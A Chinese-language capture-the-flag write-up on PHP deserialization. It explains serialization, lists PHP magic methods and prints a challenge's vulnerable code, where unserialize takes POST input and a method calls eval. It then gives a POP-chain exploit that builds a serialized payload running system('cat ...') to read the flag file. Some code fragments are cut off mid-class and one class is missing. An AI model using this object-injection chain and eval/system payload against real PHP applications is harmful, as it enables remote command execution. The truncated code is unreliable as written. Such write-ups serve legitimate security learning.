序列化与反序列化
序列化是为了方便于数据的传输,将对象转换为字节流,载入网络/磁盘IO流中,可以通过对应方法将其还原出来。
序列化与编码的区别
对象===【序列化】==>消息===【编码】==>字节流
总结来说就是,先把对象拆开变成一串可以还原成原对象的字符串,再通过特定编码,变为网络传输的字节流
PHP中的魔术方法
__sleep() //使用serialize时触发
__wakeup() //执行unserialize()时,先会调用这个函数
__construct() //对象创建时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__set_state()//调用var_export()导出类时,此静态方法会被调用。
__clone()//当对象复制完成时调用
__autoload()//尝试加载未定义的类
__debugInfo()//打印所需调试信息
题目参考
v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
具体POP链如下
fin->(调用destruct)->what->(调用tostring)->fin->(调用run)->crow->(调用invoke)->fin->(调用call)->mix->(getflag)
具体利用方法
a = new fin();
}
}
class mix{
public $m1;
public function __construct(){
$this->m1 = "?>=system('cat H0mvz850F.php');";
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
class fin{
public $f1;
public function __construct(){
$this->f1 = array(new mix(), 'get_flag');
}
}
$a = new fin();
$a->f1 = new what();
echo urlencode(serialize($a));
实际POST后运行的为
如果本来类里面没有的,外面再次定义的话就是新增一个类函数
v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;//好像这个f1少了个赋值
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
public function __construct(){
$this->f1 = array(new mix(), 'get_flag');
}
}
class what
{
public $a;
public function __construct(){
$this->a = new fin();
}
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
public function __construct(){
$this->m1 = "?>=system('cat H0mvz850F.php');";
}
}
$a = new fin();
$a->f1 = new what();
echo urlencode(serialize($a));
?>
这样下来就可以完成POP链利用了